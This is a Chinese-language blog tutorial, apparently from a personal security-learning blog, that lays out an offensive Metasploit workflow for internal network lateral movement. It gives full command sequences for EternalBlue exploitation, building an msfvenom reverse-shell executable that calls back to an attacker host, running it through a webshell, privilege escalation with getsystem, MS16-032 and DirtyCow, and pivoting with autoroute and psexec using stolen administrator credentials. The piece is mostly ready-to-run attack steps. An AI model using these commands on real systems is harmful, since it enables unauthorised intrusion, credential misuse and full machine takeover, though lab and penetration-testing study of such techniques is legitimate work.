s0m1ng

二进制学习中

内网横向5:横向全自动工具MSF

0x01 原理简述

作者把提权到横向全都封装好了,你只需要在它原生的命令行做操作就行了

本工具从linux到windows均可使用并提权,

0x02 核心专有名词解析

在 MSF 的终端里,你必须理解以下三个核心组件的组合逻辑:

  1. Exploit

    • 作用:利用目标系统存在的某个具体漏洞(如 MS17-010 SMB 溢出漏洞),在目标内存中撕开一个口子。

    • 示例exploit/windows/smb/ms17_010_eternalblue

  2. Payload

    • 作用:口子撕开后,实际在目标机器上执行的恶意代码(通常是一个反弹 Shell)。

    • 示例windows/x64/meterpreter/reverse_tcp

  3. Meterpreter

    • 作用:MSF 独创的高级纯内存 Shell。比普通的 CMD/Bash 强大无数倍,自带抓密码、键盘记录、内网路由穿透等功能。

0x03 靶机一键击杀标准工作流 (SOP)

假设你已经用 Nmap 扫出某台内网机器 <目标内网IP> 存在 MS17-010 漏洞。打开你的 Ubuntu 终端,执行以下连招:

Step 1: 启动

1
2
# 启动 MSF 控制台 (-q 代表安静模式,不显示花哨的字符画启动图)
msfconsole -q

Step 2: 检索漏洞exp

1
2
3
4
5
# 搜索漏洞关键字
search ms17-010

# 装载指定的 Exploit 模块 (可以使用 search 结果列表中的数字序号,如 use 0)
use exploit/windows/smb/ms17_010_eternalblue

Step 3: 配置攻击参数

1
2
3
4
5
6
7
8
9
10
11
# 查看当前模块需要配置哪些参数 (重点看 Required 栏为 yes 的项)
show options

# 设置靶机 IP (RHOSTS = Remote Hosts)
set RHOSTS <目标内网IP>

# 设置攻击机 IP (LHOST = Local Host,用于接收反弹 Shell)
set LHOST <攻击机IP>

# (可选) 指定 Payload,通常 MSF 会自动为你选一个合适的 Meterpreter
set PAYLOAD windows/x64/meterpreter/reverse_tcp

Step 4: 运行

1
2
#执行攻击
exploit
  • 结果:如果屏幕最后输出 WIN 并且出现 meterpreter > 提示符,说明漏洞利用成功,你已接管该机器。

0x05 联动打法:从普通 WebShell 升级到 Meterpreter

真实场景:你没有用 MSF 的漏洞模块,而是通过网页上传漏洞拿到了一个蚁剑/冰蝎的 WebShell。此时你想把这个普通的 WebShell 升级成 MSF 的 meterpreter 以便后续提权。

Step 1: 制造独立弹头 (msfvenom)

不要进 msfconsole,直接在你的 Ubuntu 终端里用 MSF 的“兵工厂”命令生成一个木马文件:

1
2
3
4
5
6
# 生成 Windows 平台的 meterpreter 木马 (假设你的 Ubuntu IP 是 10.243.120.200)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.243.120.200 LPORT=4444 -f exe -o shell.exe

# 如果靶机是 Linux,则生成 ELF 格式:
# msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.243.120.200 LPORT=4444 -f elf -o shell.elf

Step 2: 开启万能接收器 (multi/handler)

进入 MSF 控制台,启动一个专门用来“接客”的监听模块:

1
2
3
4
5
6
7
8
9
10
11
msfconsole -q
msf6 > use exploit/multi/handler

# 这里的 payload 必须和你在 msfvenom 里写的一模一样
msf6 > set payload windows/x64/meterpreter/reverse_tcp
msf6 > set LHOST 10.243.120.200
msf6 > set LPORT 4444

# 开始监听 (就像 nc -lvnp 4444 一样,进入等待状态)
msf6 > exploit

Step 3: 在 WebShell 中引爆弹头

  1. 用蚁剑/冰蝎把刚才生成的 shell.exe 上传到靶机的 C:\Windows\Temp\ 目录下。

  2. 在蚁剑的虚拟终端里执行它:C:\Windows\Temp\shell.exe

  3. 切回你的 Ubuntu 窗口,你会发现万能接收器成功捕获连接,尊贵的 meterpreter > 提示符出现了

0x06 双端本地提权

拿到普通的 meterpreter 会话后,如果权限不够(比如只是个 Web 用户),MSF 内置了极其强大的提权库,全平台通杀

首先,把当前的会话挂起到后台: meterpreter > background (记住返回的 Session ID,假设是 1)

方案 A:Windows 提权

1
2
3
4
5
6
7
# 尝试一键智能提权 (返回 meterpreter 后执行)
meterpreter > getsystem

# 如果失败,使用本地内核漏洞模块打 SYSTEM (例如 MS16-032)
msf6 > use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
msf6 > set SESSION 1
msf6 > exploit

方案 B:Linux 提权

1
2
3
4
# 使用著名的 DirtyCow (脏牛) 或者其他 Linux 本地提权模块
msf6 > use exploit/linux/local/dirtycow
msf6 > set SESSION 1
msf6 > exploit

0x07 MSF 横向移动实战演练 (Lateral Movement)

这是 MSF 真正的灵魂所在! 假设你已经拿下了处于边界的“跳板机 A”,现在你想打处于内网深处的“靶机 B (192.168.10.20)”。

第一步:把跳板机变成“路由器” (Autoroute)

在跳板机 A 的 meterpreter 会话中,将其挂起到后台,然后添加自动路由:

1
2
3
4
# 假设跳板机 A 的会话是 Session 1
msf6 > use post/multi/manage/autoroute
msf6 > set SESSION 1
msf6 > run
  • 原理解析:这步做完后,你 MSF 发出的所有打向 192.168.10.x 的攻击流量,都会自动钻进 Session 1 对应的跳板机里,然后从跳板机的内网网卡发出去。

第二步:隔山打牛 (直接攻击靶机 B)

现在 MSF 已经和内网通了。如果之前在跳板机 A 上抓到了管理员的账密/哈希,我们直接使用 MSF 的 psexec 模块进行横向击杀!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 加载横向移动专用的 psexec 模块
msf6 > use exploit/windows/smb/psexec

# 设置内网目标 (靶机 B 的 IP)
msf6 > set RHOSTS 192.168.10.20

# 填入你窃取来的管理员账号和密码 (或 Hash)
msf6 > set SMBUser Administrator
msf6 > set SMBPass Admin@123

# 【关键】因为是打内网机器,反弹 Shell 必须弹给跳板机,而不是你的 Ubuntu!
# 将弹头设置为正向连接 (Bind TCP),MSF 会主动顺着路由去连它
msf6 > set PAYLOAD windows/x64/meterpreter/bind_tcp

# 发射!
msf6 > exploit

战果:执行成功后,你会在 MSF 里得到一个属于内网靶机 B 的全新 meterpreter 会话!你甚至都没碰过 Chisel 和 Proxychains,MSF 帮你把底层网络全搞定了。

小tips

如果你已经用了 Proxychains + Chisel 挂了全局代理,启动 msfconsole 时流量可能异常。建议在 MSF 内部使用 setg Proxies socks5:127.0.0.1:1080 进行框架级代理配置。

您的支持将鼓励我继续创作!

欢迎关注我的其它发布渠道